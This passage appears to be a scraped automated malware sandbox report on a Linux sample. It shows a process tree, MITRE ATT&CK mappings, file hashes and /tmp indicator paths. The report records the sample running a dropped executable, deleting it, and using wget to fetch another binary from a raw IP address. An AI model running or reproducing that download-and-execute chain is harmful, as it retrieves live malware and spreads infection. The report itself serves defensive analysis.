  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf

Path /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	694	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	710	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	751	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	765	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	795	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	801	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	807	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	813	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	819	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	825	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	831	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	839	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	845	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	851	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	857	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	863	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	869	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	880	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	886	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	892	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	898	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	904	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	910	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads